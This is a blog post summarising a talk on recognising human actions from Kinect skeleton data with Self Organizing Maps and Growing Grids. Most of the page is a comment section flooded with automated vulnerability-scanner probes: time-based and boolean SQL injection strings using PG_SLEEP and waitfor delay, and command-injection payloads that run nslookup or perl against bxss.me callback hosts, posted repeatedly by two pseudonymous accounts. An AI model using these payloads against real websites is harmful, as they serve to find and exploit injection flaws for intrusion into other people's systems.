Action in mind

How can AI observe motion made by a human and identify what the human is doing and how the person is interacting with objects? This is what Zhara Gharaee was talking about today. Zhara holds a PhD in Cognitive Science at the Philosophical Institution at Lund’s University. She is also part of the team in the Ikaros project

Problems

When trying to teach an AI to recognize what you are doing there are some things you need to establish before even beginning the learning process. Things like how to diferentiate between an actor and an object, you need to be able to do segmentation of actions in order to know where won specific action starts and where it ends. You also need to make sure that the model understand the input data the same way regardless of what angle the actor is standing in, how far away the actor is and it should not be effected by the speed in which the movement is performed among other things.

Approach

The input data was inspired from the Gunnar Johansson method where dots represent joints in the actor’s body. The method for collecting this data today is by using a Kinekt sensor. The learning model was devided into two major parts where the first part focused on identifying postiurs and the second one focused on identifying transitions between positions. This was represented in an ordered vector graph that in the end was classified into a fixed set of classes.

Models

Zhara compared two different approaches to solving this task, one using Self Organizing Map (SOM) and the other using Growing Grids (GG). A SOM uses a predefined number of neurons and is used to transform high-dimentional data into two dimetions while the GG start out with a small set of neuron and grows by adding neurons where the uncertanty is high in order to improve the resolution and then it transitions from a growth phase into a finetune phase.
If you do not have a Kinekt and would like to use regular video you can use a CNN to identify poses and separate models and objects. In order to identify movement you could also use an RNN, an SVM or a Hidden Markov model among other technologies, instead of the SOM or GG networks.

Results

It is facinating to see how well you can classify movements even thoug some movements had a test accuracy of only 30% wher other as high as 100%. The avarage of the SOM model was 60% and the GG model 70%. But the most interesting thing about the result was that the GG only needed 75 epochs while the SOM demanded 1200 epochs to achive that result. So, the GG need a lot less resources and can learn this kind of data better and in much shorter time.

Thoughts

While it is facinating to see what can be done with these tools, I cannot stop thinking about how this will enhance the survailance cameras slowely spreading around our city streets. Zhara also told me about the experience of the camera system in London where humans tried to identify what people were doing and the many errors they have made. So, the question is if machines can do a much better job at identifying criminal activity. But the system could be used to identify the physical activity in a house without recording pure video. This could be used to identify the health of elderly people for instance.

If you want to play with and learn how to program robots webots are a nice tool that Zhara recomended:
Webots
Online learning community based on webots

2018-06-27 00:00:00 - Johan Broddfelt
Robotics, Self Organizing Map, Growing Grid

<< Build an AI application without code Lessons from building a spam filter >>

Comment


Name
Mail (Not public)
Send mail uppdates on new comments

Comments

221 posts found

3FANHN8O')) OR 746=(SELECT 746 FROM PG_SLEEP(12))--

2026-06-11 01:28:53 - zFPWdwPk

PHt0H9Ne') OR 829=(SELECT 829 FROM PG_SLEEP(12))--

2026-06-11 01:28:51 - zFPWdwPk

uJWvaYiu' OR 725=(SELECT 725 FROM PG_SLEEP(12))--

2026-06-11 01:28:49 - zFPWdwPk

-1)) OR 436=(SELECT 436 FROM PG_SLEEP(12))--

2026-06-11 01:28:46 - zFPWdwPk

-5) OR 829=(SELECT 829 FROM PG_SLEEP(12))--

2026-06-11 01:28:44 - zFPWdwPk

-5) OR 919=(SELECT 919 FROM PG_SLEEP(12))--

2026-06-11 01:28:22 - zFPWdwPk

-5 OR 249=(SELECT 249 FROM PG_SLEEP(12))--

2026-06-11 01:28:20 - zFPWdwPk

SaVfmTSP'; waitfor delay '0:0:12' --

2026-06-11 01:28:18 - zFPWdwPk

1 waitfor delay '0:0:12' --

2026-06-11 01:28:17 - zFPWdwPk

-1); waitfor delay '0:0:12' --

2026-06-11 01:28:15 - zFPWdwPk

-1; waitfor delay '0:0:12' --

2026-06-11 01:28:14 - zFPWdwPk

-1" OR 3*2<(0+5+82-82) --

2026-06-11 01:28:05 - zFPWdwPk

-1" OR 3+82-82-1=0+0+0+1 --

2026-06-11 01:28:04 - zFPWdwPk

-1" OR 2+82-82-1=0+0+0+1 --

2026-06-11 01:28:03 - zFPWdwPk

-1' OR 3+736-736-1=0+0+0+1 or 'L5XChIoF'='

2026-06-11 01:28:02 - zFPWdwPk

-1' OR 2+736-736-1=0+0+0+1 or 'L5XChIoF'='

2026-06-11 01:28:01 - zFPWdwPk

-1' OR 3+95-95-1=0+0+0+1 --

2026-06-11 01:28:00 - zFPWdwPk

-1' OR 2+95-95-1=0+0+0+1 --

2026-06-11 01:27:59 - zFPWdwPk

;(nslookup hitmttlzfmqqeef975.bxss.me||perl -e "gethostbyname('hitmttlzfmqqeef975.bxss.me')")|(nslookup hitmttlzfmqqeef975.bxss.me||perl -e "gethostbyname('hitmttlzfmqqeef975.bxss.me')")&(nslookup hitmttlzfmqqeef975.bxss.me||perl -e "gethostbyname('hitmttlzfmqqeef975.bxss.me')")

2026-06-11 01:27:59 - zFPWdwPk

`(nslookup hitldhamqbngt893f9.bxss.me||perl -e "gethostbyname('hitldhamqbngt893f9.bxss.me')")`

2026-06-11 01:27:57 - zFPWdwPk

|(nslookup hittyvosgwxvv244e2.bxss.me||perl -e "gethostbyname('hittyvosgwxvv244e2.bxss.me')")

2026-06-11 01:27:55 - zFPWdwPk

&(nslookup hitperkdfdbqu4955f.bxss.me||perl -e "gethostbyname('hitperkdfdbqu4955f.bxss.me')")&'"`0&(nslookup hitperkdfdbqu4955f.bxss.me||perl -e "gethostbyname('hitperkdfdbqu4955f.bxss.me')")&`'

2026-06-11 01:27:54 - zFPWdwPk

$(nslookup hitkgrrtdvlhn05a0b.bxss.me||perl -e "gethostbyname('hitkgrrtdvlhn05a0b.bxss.me')")

2026-06-11 01:27:52 - zFPWdwPk

(nslookup hitrffyaogzsga3da9.bxss.me||perl -e "gethostbyname('hitrffyaogzsga3da9.bxss.me')")

2026-06-11 01:27:50 - zFPWdwPk

|echo basolb$() nresehnz^xyu||a #' |echo basolb$() nresehnz^xyu||a #|" |echo basolb$() nresehnz^xyu||a #

2026-06-11 01:27:48 - zFPWdwPk

&echo qcolhc$() wtdzxcnz^xyu||a #' &echo qcolhc$() wtdzxcnz^xyu||a #|" &echo qcolhc$() wtdzxcnz^xyu||a #

2026-06-11 01:27:47 - zFPWdwPk

echo slukrl$() rbnkgqnz^xyu||a #' &echo slukrl$() rbnkgqnz^xyu||a #|" &echo slukrl$() rbnkgqnz^xyu||a #

2026-06-11 01:27:45 - zFPWdwPk

-1' OR 2+95-95-1=0+0+0+1 --

2026-06-11 01:27:28 - zFPWdwPk

-1 OR 3+547-547-1=0+0+0+1

2026-06-11 01:27:26 - zFPWdwPk

-1 OR 2+547-547-1=0+0+0+1

2026-06-11 01:27:25 - zFPWdwPk

-1 OR 3+849-849-1=0+0+0+1 --

2026-06-11 01:27:23 - zFPWdwPk

-1 OR 2+849-849-1=0+0+0+1 --

2026-06-11 01:27:22 - zFPWdwPk

555

2026-06-10 23:58:55 - sample@email.tst

555

2026-06-10 23:58:54 - sample@email.tst

555

2026-06-10 23:58:53 - sample@email.tst

555

2026-06-10 23:58:51 - sample@email.tst

555

2026-06-10 23:58:50 - sample@email.tst

555

2026-06-10 23:58:48 - sample@email.tst

555

2026-06-10 23:58:47 - sample@email.tst

555

2026-06-10 23:58:46 - sample@email.tst

555

2026-06-10 23:58:44 - sample@email.tst

555

2026-06-10 23:58:43 - sample@email.tst

555

2026-06-10 23:58:42 - sample@email.tst

555

2026-06-10 23:58:40 - sample@email.tst

555

2026-06-10 23:58:39 - sample@email.tst

555

2026-06-10 23:58:36 - sample@email.tst

555

2026-06-10 23:58:34 - sample@email.tst

555

2026-06-10 23:58:33 - sample@email.tst

a2uoKRl4')) OR 39=(SELECT 39 FROM PG_SLEEP(12))--

2026-06-10 23:49:41 - zFPWdwPk

F5DiduK3') OR 422=(SELECT 422 FROM PG_SLEEP(12))--

2026-06-10 23:49:39 - zFPWdwPk

soyGGH4e' OR 155=(SELECT 155 FROM PG_SLEEP(12))--

2026-06-10 23:49:38 - zFPWdwPk

-1)) OR 572=(SELECT 572 FROM PG_SLEEP(12))--

2026-06-10 23:49:37 - zFPWdwPk

-5) OR 230=(SELECT 230 FROM PG_SLEEP(12))--

2026-06-10 23:49:36 - zFPWdwPk

-5 OR 670=(SELECT 670 FROM PG_SLEEP(12))--

2026-06-10 23:49:35 - zFPWdwPk

pyUs6aMi'; waitfor delay '0:0:12' --

2026-06-10 23:49:33 - zFPWdwPk

1 waitfor delay '0:0:12' --

2026-06-10 23:49:32 - zFPWdwPk

-1); waitfor delay '0:0:12' --

2026-06-10 23:49:31 - zFPWdwPk

-1; waitfor delay '0:0:12' --

2026-06-10 23:49:28 - zFPWdwPk

-1" OR 3+418-418-1=0+0+0+1 --

2026-06-10 23:49:16 - zFPWdwPk

-1" OR 2+418-418-1=0+0+0+1 --

2026-06-10 23:49:14 - zFPWdwPk

-1" OR 2+418-418-1=0+0+0+1 --

2026-06-10 23:48:44 - zFPWdwPk

-1' OR 3*2=5 AND 211=211 or 'umrhxMlT'='

2026-06-10 23:48:43 - zFPWdwPk

-1' OR 211=211 AND 3+1-1-1=1 or 'umrhxMlT'='

2026-06-10 23:48:41 - zFPWdwPk

-1' OR 2+1-1-1=1 AND 211=211 or 'umrhxMlT'='

2026-06-10 23:48:40 - zFPWdwPk

-1' OR 3*2>(0+5+211-211) or 'umrhxMlT'='

2026-06-10 23:48:40 - zFPWdwPk

-1' OR 3*2<(0+5+211-211) or 'umrhxMlT'='

2026-06-10 23:48:38 - zFPWdwPk

-1' OR 3+211-211-1=0+0+0+1 or 'umrhxMlT'='

2026-06-10 23:48:38 - zFPWdwPk

-1' OR 2+211-211-1=0+0+0+1 or 'umrhxMlT'='

2026-06-10 23:48:36 - zFPWdwPk

-1' OR 3+103-103-1=0+0+0+1 --

2026-06-10 23:48:34 - zFPWdwPk

-1' OR 2+103-103-1=0+0+0+1 --

2026-06-10 23:48:32 - zFPWdwPk

-1 OR 3+865-865-1=0+0+0+1

2026-06-10 23:48:31 - zFPWdwPk

-1 OR 2+865-865-1=0+0+0+1

2026-06-10 23:48:29 - zFPWdwPk

-1 OR 3*2<(0+5+708-708) --

2026-06-10 23:48:27 - zFPWdwPk

-1 OR 3+708-708-1=0+0+0+1 --

2026-06-10 23:48:25 - zFPWdwPk

;(nslookup hitrttzwaykdu985de.bxss.me||perl -e "gethostbyname('hitrttzwaykdu985de.bxss.me')")|(nslookup hitrttzwaykdu985de.bxss.me||perl -e "gethostbyname('hitrttzwaykdu985de.bxss.me')")&(nslookup hitrttzwaykdu985de.bxss.me||perl -e "gethostbyname('hitrttzwaykdu985de.bxss.me')")

2026-06-10 23:48:21 - zFPWdwPk

`(nslookup hitisthksycgs91678.bxss.me||perl -e "gethostbyname('hitisthksycgs91678.bxss.me')")`

2026-06-10 23:48:19 - zFPWdwPk

|(nslookup hitpjrhfyepeeee138.bxss.me||perl -e "gethostbyname('hitpjrhfyepeeee138.bxss.me')")

2026-06-10 23:48:17 - zFPWdwPk

-1 OR 3+708-708-1=0+0+0+1 --

2026-06-10 23:47:55 - zFPWdwPk

-1 OR 2+708-708-1=0+0+0+1 --

2026-06-10 23:47:54 - zFPWdwPk

|(nslookup hitpjrhfyepeeee138.bxss.me||perl -e "gethostbyname('hitpjrhfyepeeee138.bxss.me')")

2026-06-10 23:47:47 - zFPWdwPk

&(nslookup hitgnhdyrkavp2c414.bxss.me||perl -e "gethostbyname('hitgnhdyrkavp2c414.bxss.me')")&'"`0&(nslookup hitgnhdyrkavp2c414.bxss.me||perl -e "gethostbyname('hitgnhdyrkavp2c414.bxss.me')")&`'

2026-06-10 23:47:45 - zFPWdwPk

$(nslookup hitxkchfintgedb1f3.bxss.me||perl -e "gethostbyname('hitxkchfintgedb1f3.bxss.me')")

2026-06-10 23:47:44 - zFPWdwPk

(nslookup hitnqxgezsvwpeb106.bxss.me||perl -e "gethostbyname('hitnqxgezsvwpeb106.bxss.me')")

2026-06-10 23:47:42 - zFPWdwPk

|echo rdguue$() qxhxpynz^xyu||a #' |echo rdguue$() qxhxpynz^xyu||a #|" |echo rdguue$() qxhxpynz^xyu||a #

2026-06-10 23:47:40 - zFPWdwPk

&echo fhlntg$() xauxofnz^xyu||a #' &echo fhlntg$() xauxofnz^xyu||a #|" &echo fhlntg$() xauxofnz^xyu||a #

2026-06-10 23:47:39 - zFPWdwPk

echo tnqdfa$() lklloknz^xyu||a #' &echo tnqdfa$() lklloknz^xyu||a #|" &echo tnqdfa$() lklloknz^xyu||a #

2026-06-10 23:47:38 - zFPWdwPk

IUpVVTJd')) OR 663=(SELECT 663 FROM PG_SLEEP(12))--

2026-06-10 23:46:23 - zFPWdwPk

eFbtV88H') OR 591=(SELECT 591 FROM PG_SLEEP(12))--

2026-06-10 23:46:22 - zFPWdwPk

134adeQQ' OR 44=(SELECT 44 FROM PG_SLEEP(12))--

2026-06-10 23:46:21 - zFPWdwPk

-1)) OR 87=(SELECT 87 FROM PG_SLEEP(12))--

2026-06-10 23:46:20 - zFPWdwPk

-5) OR 711=(SELECT 711 FROM PG_SLEEP(12))--

2026-06-10 23:46:19 - zFPWdwPk

-5 OR 974=(SELECT 974 FROM PG_SLEEP(12))--

2026-06-10 23:46:18 - zFPWdwPk

KjR3gNQp'; waitfor delay '0:0:12' --

2026-06-10 23:46:16 - zFPWdwPk

;(nslookup hittznvvgezsj911a1.bxss.me||perl -e "gethostbyname('hittznvvgezsj911a1.bxss.me')")|(nslookup hittznvvgezsj911a1.bxss.me||perl -e "gethostbyname('hittznvvgezsj911a1.bxss.me')")&(nslookup hittznvvgezsj911a1.bxss.me||perl -e "gethostbyname('hittznvvgezsj911a1.bxss.me')")

2026-06-10 23:46:15 - zFPWdwPk

1 waitfor delay '0:0:12' --

2026-06-10 23:46:15 - zFPWdwPk

`(nslookup hitznqirmelgo13ac9.bxss.me||perl -e "gethostbyname('hitznqirmelgo13ac9.bxss.me')")`

2026-06-10 23:46:15 - zFPWdwPk

-1); waitfor delay '0:0:12' --

2026-06-10 23:46:14 - zFPWdwPk

|(nslookup hitmceetwzprm631c8.bxss.me||perl -e "gethostbyname('hitmceetwzprm631c8.bxss.me')")

2026-06-10 23:46:14 - zFPWdwPk

-1; waitfor delay '0:0:12' --

2026-06-10 23:46:14 - zFPWdwPk

&(nslookup hiteeiurlmjzm46639.bxss.me||perl -e "gethostbyname('hiteeiurlmjzm46639.bxss.me')")&'"`0&(nslookup hiteeiurlmjzm46639.bxss.me||perl -e "gethostbyname('hiteeiurlmjzm46639.bxss.me')")&`'

2026-06-10 23:46:13 - zFPWdwPk

$(nslookup hitguswbdheuz94bf4.bxss.me||perl -e "gethostbyname('hitguswbdheuz94bf4.bxss.me')")

2026-06-10 23:46:12 - zFPWdwPk

(nslookup hitzanxscrnwoc266e.bxss.me||perl -e "gethostbyname('hitzanxscrnwoc266e.bxss.me')")

2026-06-10 23:46:11 - zFPWdwPk

|echo capnax$() otyyyynz^xyu||a #' |echo capnax$() otyyyynz^xyu||a #|" |echo capnax$() otyyyynz^xyu||a #

2026-06-10 23:46:10 - zFPWdwPk

&echo cwdzhf$() dolcpjnz^xyu||a #' &echo cwdzhf$() dolcpjnz^xyu||a #|" &echo cwdzhf$() dolcpjnz^xyu||a #

2026-06-10 23:46:09 - zFPWdwPk

echo dtuftq$() tyezusnz^xyu||a #' &echo dtuftq$() tyezusnz^xyu||a #|" &echo dtuftq$() tyezusnz^xyu||a #

2026-06-10 23:46:08 - zFPWdwPk

-1" OR 3*2>(0+5+264-264) --

2026-06-10 23:46:08 - zFPWdwPk

-1" OR 3*2<(0+5+264-264) --

2026-06-10 23:46:07 - zFPWdwPk

-1" OR 3+264-264-1=0+0+0+1 --

2026-06-10 23:46:06 - zFPWdwPk

-1" OR 2+264-264-1=0+0+0+1 --

2026-06-10 23:46:05 - zFPWdwPk

-1' OR 3*2>(0+5+191-191) or 'eZQQBHso'='

2026-06-10 23:46:04 - zFPWdwPk

-1' OR 3*2<(0+5+191-191) or 'eZQQBHso'='

2026-06-10 23:46:03 - zFPWdwPk

-1' OR 3+191-191-1=0+0+0+1 or 'eZQQBHso'='

2026-06-10 23:46:02 - zFPWdwPk

-1' OR 2+191-191-1=0+0+0+1 or 'eZQQBHso'='

2026-06-10 23:46:01 - zFPWdwPk

-1' OR 3*2>(0+5+158-158) --

2026-06-10 23:46:00 - zFPWdwPk

-1' OR 3*2<(0+5+158-158) --

2026-06-10 23:45:59 - zFPWdwPk

-1' OR 3+158-158-1=0+0+0+1 --

2026-06-10 23:45:58 - zFPWdwPk

-1' OR 2+158-158-1=0+0+0+1 --

2026-06-10 23:45:57 - zFPWdwPk

-1 OR 3*2>(0+5+408-408)

2026-06-10 23:45:56 - zFPWdwPk

-1 OR 3*2<(0+5+408-408)

2026-06-10 23:45:55 - zFPWdwPk

-1 OR 3+408-408-1=0+0+0+1

2026-06-10 23:45:54 - zFPWdwPk

-1 OR 2+408-408-1=0+0+0+1

2026-06-10 23:45:53 - zFPWdwPk

-1 OR 3*2>(0+5+440-440) --

2026-06-10 23:45:52 - zFPWdwPk

-1 OR 3*2<(0+5+440-440) --

2026-06-10 23:45:52 - zFPWdwPk

-1 OR 3+440-440-1=0+0+0+1 --

2026-06-10 23:45:51 - zFPWdwPk

-1 OR 2+440-440-1=0+0+0+1 --

2026-06-10 23:45:50 - zFPWdwPk

;(nslookup hitwewzgpoixm5f2a7.bxss.me||perl -e "gethostbyname('hitwewzgpoixm5f2a7.bxss.me')")|(nslookup hitwewzgpoixm5f2a7.bxss.me||perl -e "gethostbyname('hitwewzgpoixm5f2a7.bxss.me')")&(nslookup hitwewzgpoixm5f2a7.bxss.me||perl -e "gethostbyname('hitwewzgpoixm5f2a7.bxss.me')")

2026-06-08 19:26:48 - wUmrLVWz

`(nslookup hitpuvgemwjjs4a257.bxss.me||perl -e "gethostbyname('hitpuvgemwjjs4a257.bxss.me')")`

2026-06-08 19:26:45 - wUmrLVWz

|(nslookup hitkcpmkgyvnr9b99e.bxss.me||perl -e "gethostbyname('hitkcpmkgyvnr9b99e.bxss.me')")

2026-06-08 19:26:43 - wUmrLVWz

&(nslookup hitkrxdmwipni8b426.bxss.me||perl -e "gethostbyname('hitkrxdmwipni8b426.bxss.me')")&'"`0&(nslookup hitkrxdmwipni8b426.bxss.me||perl -e "gethostbyname('hitkrxdmwipni8b426.bxss.me')")&`'

2026-06-08 19:26:39 - wUmrLVWz

$(nslookup hitdiinugbekda38c8.bxss.me||perl -e "gethostbyname('hitdiinugbekda38c8.bxss.me')")

2026-06-08 19:26:34 - wUmrLVWz

(nslookup hithmfkfloels17aca.bxss.me||perl -e "gethostbyname('hithmfkfloels17aca.bxss.me')")

2026-06-08 19:26:28 - wUmrLVWz

|echo oocidc$() nqzamlnz^xyu||a #' |echo oocidc$() nqzamlnz^xyu||a #|" |echo oocidc$() nqzamlnz^xyu||a #

2026-06-08 19:26:25 - wUmrLVWz

&echo ppftbz$() gevsqenz^xyu||a #' &echo ppftbz$() gevsqenz^xyu||a #|" &echo ppftbz$() gevsqenz^xyu||a #

2026-06-08 19:26:22 - wUmrLVWz

echo naidku$() urozexnz^xyu||a #' &echo naidku$() urozexnz^xyu||a #|" &echo naidku$() urozexnz^xyu||a #

2026-06-08 19:26:18 - wUmrLVWz

155Vl5C5')) OR 988=(SELECT 988 FROM PG_SLEEP(14))--

2026-06-08 19:10:36 - wUmrLVWz

raLbwNki') OR 617=(SELECT 617 FROM PG_SLEEP(14))--

2026-06-08 19:10:27 - wUmrLVWz

JzFA6cJs' OR 267=(SELECT 267 FROM PG_SLEEP(14))--

2026-06-08 19:10:20 - wUmrLVWz

-1)) OR 798=(SELECT 798 FROM PG_SLEEP(14))--

2026-06-08 19:10:06 - wUmrLVWz

-5) OR 643=(SELECT 643 FROM PG_SLEEP(14))--

2026-06-08 19:09:54 - wUmrLVWz

-5 OR 567=(SELECT 567 FROM PG_SLEEP(14))--

2026-06-08 19:09:46 - wUmrLVWz

tLeR2V7V'; waitfor delay '0:0:14' --

2026-06-08 19:09:36 - wUmrLVWz

1 waitfor delay '0:0:14' --

2026-06-08 19:09:24 - wUmrLVWz

-1); waitfor delay '0:0:14' --

2026-06-08 19:09:11 - wUmrLVWz

-1; waitfor delay '0:0:14' --

2026-06-08 19:08:58 - wUmrLVWz

-1" OR 3+764-764-1=0+0+0+1 --

2026-06-08 19:08:18 - wUmrLVWz

-1" OR 2+764-764-1=0+0+0+1 --

2026-06-08 19:08:13 - wUmrLVWz

-1' OR 3+362-362-1=0+0+0+1 or 'JeZGsuQ9'='

2026-06-08 19:08:09 - wUmrLVWz

-1' OR 2+362-362-1=0+0+0+1 or 'JeZGsuQ9'='

2026-06-08 19:08:07 - wUmrLVWz

-1' OR 3+989-989-1=0+0+0+1 --

2026-06-08 19:08:04 - wUmrLVWz

-1' OR 2+989-989-1=0+0+0+1 --

2026-06-08 19:08:00 - wUmrLVWz

-1 OR 3+238-238-1=0+0+0+1

2026-06-08 19:07:56 - wUmrLVWz

-1 OR 2+238-238-1=0+0+0+1

2026-06-08 19:07:51 - wUmrLVWz

-1 OR 3+881-881-1=0+0+0+1 --

2026-06-08 19:07:46 - wUmrLVWz

-1 OR 2+881-881-1=0+0+0+1 --

2026-06-08 19:07:44 - wUmrLVWz

;(nslookup hitujafvmjctv2934c.bxss.me||perl -e "gethostbyname('hitujafvmjctv2934c.bxss.me')")|(nslookup hitujafvmjctv2934c.bxss.me||perl -e "gethostbyname('hitujafvmjctv2934c.bxss.me')")&(nslookup hitujafvmjctv2934c.bxss.me||perl -e "gethostbyname('hitujafvmjctv2934c.bxss.me')")

2026-06-08 09:12:05 - wUmrLVWz

`(nslookup hitfneydouaji0d161.bxss.me||perl -e "gethostbyname('hitfneydouaji0d161.bxss.me')")`

2026-06-08 09:12:02 - wUmrLVWz

|(nslookup hiturweauazsd3636a.bxss.me||perl -e "gethostbyname('hiturweauazsd3636a.bxss.me')")

2026-06-08 09:12:01 - wUmrLVWz

&(nslookup hitxsyvrwtpvae3119.bxss.me||perl -e "gethostbyname('hitxsyvrwtpvae3119.bxss.me')")&'"`0&(nslookup hitxsyvrwtpvae3119.bxss.me||perl -e "gethostbyname('hitxsyvrwtpvae3119.bxss.me')")&`'

2026-06-08 09:12:00 - wUmrLVWz

$(nslookup hitqywkxhsitlc047a.bxss.me||perl -e "gethostbyname('hitqywkxhsitlc047a.bxss.me')")

2026-06-08 09:11:58 - wUmrLVWz

(nslookup hitbryyqugyftf6bcb.bxss.me||perl -e "gethostbyname('hitbryyqugyftf6bcb.bxss.me')")

2026-06-08 09:11:57 - wUmrLVWz

|echo rwzyxg$() ztfwjnnz^xyu||a #' |echo rwzyxg$() ztfwjnnz^xyu||a #|" |echo rwzyxg$() ztfwjnnz^xyu||a #

2026-06-08 09:11:56 - wUmrLVWz

&echo slczxh$() apufpznz^xyu||a #' &echo slczxh$() apufpznz^xyu||a #|" &echo slczxh$() apufpznz^xyu||a #

2026-06-08 09:11:55 - wUmrLVWz

echo apyqtk$() tvthmwnz^xyu||a #' &echo apyqtk$() tvthmwnz^xyu||a #|" &echo apyqtk$() tvthmwnz^xyu||a #

2026-06-08 09:11:50 - wUmrLVWz

;(nslookup hittshbiqewov82f75.bxss.me||perl -e "gethostbyname('hittshbiqewov82f75.bxss.me')")|(nslookup hittshbiqewov82f75.bxss.me||perl -e "gethostbyname('hittshbiqewov82f75.bxss.me')")&(nslookup hittshbiqewov82f75.bxss.me||perl -e "gethostbyname('hittshbiqewov82f75.bxss.me')")

2026-06-08 09:05:10 - wUmrLVWz

`(nslookup hittywhabxwmza95b1.bxss.me||perl -e "gethostbyname('hittywhabxwmza95b1.bxss.me')")`

2026-06-08 09:05:07 - wUmrLVWz

|(nslookup hitxebgpzvmtq089c0.bxss.me||perl -e "gethostbyname('hitxebgpzvmtq089c0.bxss.me')")

2026-06-08 09:05:06 - wUmrLVWz

&(nslookup hittcaftzptub1741d.bxss.me||perl -e "gethostbyname('hittcaftzptub1741d.bxss.me')")&'"`0&(nslookup hittcaftzptub1741d.bxss.me||perl -e "gethostbyname('hittcaftzptub1741d.bxss.me')")&`'

2026-06-08 09:05:01 - wUmrLVWz

$(nslookup hithbumhrhabi58f09.bxss.me||perl -e "gethostbyname('hithbumhrhabi58f09.bxss.me')")

2026-06-08 09:04:55 - wUmrLVWz

(nslookup hitvbtcvdmdoub8828.bxss.me||perl -e "gethostbyname('hitvbtcvdmdoub8828.bxss.me')")

2026-06-08 09:04:52 - wUmrLVWz

|echo zrtyym$() ugmffbnz^xyu||a #' |echo zrtyym$() ugmffbnz^xyu||a #|" |echo zrtyym$() ugmffbnz^xyu||a #

2026-06-08 09:04:44 - wUmrLVWz

&echo ohbllr$() dukckynz^xyu||a #' &echo ohbllr$() dukckynz^xyu||a #|" &echo ohbllr$() dukckynz^xyu||a #

2026-06-08 09:04:40 - wUmrLVWz

echo lmulcb$() fionminz^xyu||a #' &echo lmulcb$() fionminz^xyu||a #|" &echo lmulcb$() fionminz^xyu||a #

2026-06-08 09:04:31 - wUmrLVWz

pBaZOFyg') OR 580=(SELECT 580 FROM PG_SLEEP(12))--

2026-06-08 09:03:29 - wUmrLVWz

YFKTenDZ' OR 547=(SELECT 547 FROM PG_SLEEP(12))--

2026-06-08 09:03:27 - wUmrLVWz

-1)) OR 135=(SELECT 135 FROM PG_SLEEP(12))--

2026-06-08 09:03:24 - wUmrLVWz

-5) OR 355=(SELECT 355 FROM PG_SLEEP(12))--

2026-06-08 09:03:20 - wUmrLVWz

-5 OR 404=(SELECT 404 FROM PG_SLEEP(12))--

2026-06-08 09:03:17 - wUmrLVWz

VSFNaF7x'; waitfor delay '0:0:12' --

2026-06-08 09:03:11 - wUmrLVWz

1 waitfor delay '0:0:12' --

2026-06-08 09:03:09 - wUmrLVWz

-1); waitfor delay '0:0:12' --

2026-06-08 09:03:04 - wUmrLVWz

-1; waitfor delay '0:0:12' --

2026-06-08 09:02:59 - wUmrLVWz

95HvQkUk')) OR 356=(SELECT 356 FROM PG_SLEEP(12))--

2026-06-08 09:02:39 - wUmrLVWz

mhaU9jcT') OR 645=(SELECT 645 FROM PG_SLEEP(12))--

2026-06-08 09:02:35 - wUmrLVWz

-1" OR 3*2>(0+5+693-693) --

2026-06-08 09:02:35 - wUmrLVWz

bFazyYWU' OR 351=(SELECT 351 FROM PG_SLEEP(12))--

2026-06-08 09:02:34 - wUmrLVWz

-1" OR 3*2<(0+5+693-693) --

2026-06-08 09:02:33 - wUmrLVWz

-1)) OR 613=(SELECT 613 FROM PG_SLEEP(12))--

2026-06-08 09:02:32 - wUmrLVWz

-1" OR 3+693-693-1=0+0+0+1 --

2026-06-08 09:02:32 - wUmrLVWz

-5) OR 134=(SELECT 134 FROM PG_SLEEP(12))--

2026-06-08 09:02:31 - wUmrLVWz

-5 OR 917=(SELECT 917 FROM PG_SLEEP(12))--

2026-06-08 09:02:30 - wUmrLVWz

8xfuDa0q'; waitfor delay '0:0:12' --

2026-06-08 09:02:29 - wUmrLVWz

-1" OR 2+693-693-1=0+0+0+1 --

2026-06-08 09:02:29 - wUmrLVWz

-1' OR 3*2>(0+5+448-448) or 'CTTweA0t'='

2026-06-08 09:02:26 - wUmrLVWz

1 waitfor delay '0:0:12' --

2026-06-08 09:02:24 - wUmrLVWz

-1' OR 3*2<(0+5+448-448) or 'CTTweA0t'='

2026-06-08 09:02:24 - wUmrLVWz

-1' OR 3+448-448-1=0+0+0+1 or 'CTTweA0t'='

2026-06-08 09:02:22 - wUmrLVWz

-1); waitfor delay '0:0:12' --

2026-06-08 09:02:19 - wUmrLVWz

-1' OR 2+448-448-1=0+0+0+1 or 'CTTweA0t'='

2026-06-08 09:02:19 - wUmrLVWz

-1; waitfor delay '0:0:12' --

2026-06-08 09:02:18 - wUmrLVWz

-1' OR 3*2>(0+5+954-954) --

2026-06-08 09:02:17 - wUmrLVWz

-1' OR 3*2<(0+5+954-954) --

2026-06-08 09:02:15 - wUmrLVWz

-1' OR 3+954-954-1=0+0+0+1 --

2026-06-08 09:02:11 - wUmrLVWz

-1' OR 2+954-954-1=0+0+0+1 --

2026-06-08 09:02:02 - wUmrLVWz

-1 OR 3*2>(0+5+769-769)

2026-06-08 09:02:00 - wUmrLVWz

-1 OR 3*2<(0+5+769-769)

2026-06-08 09:01:59 - wUmrLVWz

-1 OR 3+769-769-1=0+0+0+1

2026-06-08 09:01:56 - wUmrLVWz

-1" OR 3+667-667-1=0+0+0+1 --

2026-06-08 09:01:56 - wUmrLVWz

-1 OR 2+769-769-1=0+0+0+1

2026-06-08 09:01:51 - wUmrLVWz

-1" OR 2+667-667-1=0+0+0+1 --

2026-06-08 09:01:50 - wUmrLVWz

-1' OR 3+79-79-1=0+0+0+1 or 'AG6Ps1R3'='

2026-06-08 09:01:47 - wUmrLVWz

-1 OR 3*2>(0+5+501-501) --

2026-06-08 09:01:47 - wUmrLVWz

-1' OR 2+79-79-1=0+0+0+1 or 'AG6Ps1R3'='

2026-06-08 09:01:46 - wUmrLVWz

-1' OR 3+266-266-1=0+0+0+1 --

2026-06-08 09:01:42 - wUmrLVWz

-1 OR 3*2<(0+5+501-501) --

2026-06-08 09:01:42 - wUmrLVWz

-1 OR 3+501-501-1=0+0+0+1 --

2026-06-08 09:01:40 - wUmrLVWz

-1' OR 2+266-266-1=0+0+0+1 --

2026-06-08 09:01:40 - wUmrLVWz

-1 OR 2+501-501-1=0+0+0+1 --

2026-06-08 09:01:39 - wUmrLVWz

-1 OR 3+838-838-1=0+0+0+1

2026-06-08 09:01:37 - wUmrLVWz

-1 OR 2+838-838-1=0+0+0+1

2026-06-08 09:01:34 - wUmrLVWz

-1 OR 3+144-144-1=0+0+0+1 --

2026-06-08 09:01:32 - wUmrLVWz

-1 OR 2+144-144-1=0+0+0+1 --

2026-06-08 09:01:28 - wUmrLVWz